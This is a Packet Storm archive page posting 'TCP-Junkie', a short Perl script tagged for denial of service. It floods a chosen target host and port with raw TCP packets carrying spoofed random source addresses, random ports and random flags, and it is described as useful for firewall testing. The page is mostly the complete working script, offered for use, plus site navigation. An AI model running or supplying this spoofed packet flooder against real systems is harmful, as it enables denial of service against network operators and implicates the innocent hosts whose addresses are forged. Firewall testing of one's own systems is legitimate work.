what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tcp-junkie.txt

tcp-junkie.txt
Posted Aug 15, 2001
Authored by Zillion | Site safemode.org

TCP-Junkie is a random TCP packet generator written in perl. Generates random TCP packets with random source address, source port and random flags. Pretty funny and can be useful for firewall testing.

tags | denial of service, perl, tcp
SHA-256 | 6678d52cad967712c1ca8de71e30b003b57191be15501c38c480b4049ef33f4f

tcp-junkie.txt

Change Mirror Download
#!/usr/bin/perl
#
#
# Written by zillion ( at safemode.org )
#
# The script generates random TCP packets with random source address,
# source port and random flags. Pretty funny and can be useful for firewall
# testing
#

require 'getopts.pl';

use Net::RawIP;

Getopts('i:p:a:');

$a = new Net::RawIP;

if(!defined $opt_i) {

print "Usage $0 -i <target> -p <target port> -a <amount> \n";
exit;

}
print " -------------------------------------------------------------------------
---------------\n";

sub create_packet {

$ff = int rand(255);
$gg = int rand(255);
$hh = int rand(255);
$ii = int rand(255);
$src = int rand(9999);

$ip = "$ff.$gg.$hh.$ii";

$count = 0;

while($count < 6) {

@vlag =(1,2);

$flag = int rand(@vlag);

push @flags, "$flag";

$count++;
}

format flags =
| Address: @<<<<<<<<<<<<<< | Src: @<<<<| Psh: @<| Ack:@<| Rst: @<| Fin:@<| Urg:@<
| Syn:@<|
$ip $src $flags[0] $flags[1] $flags[2] $flags[3] $flags[4] $flags[5]

.

$~ = "flags";

write;

$data = "Safemode rocks " x 5;

$a->set({ ip => {saddr => $ip,
ttl => 66,
daddr => $opt_i
},
tcp=> {dest => $opt_p,
data => $data,
psh => $flags[0],
ack => $flags[1],
rst => $flags[2],
fin => $flags[3],
urg => $flags[4],
source => $src,
syn => $flags[5]}
});

$a->send(0,1);

undef @flags;
}

$teller = 0;
while($teller < $opt_a) {

&create_packet;
$teller++;
}
print " -------------------------------------------------------------------------
---------------\n";


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close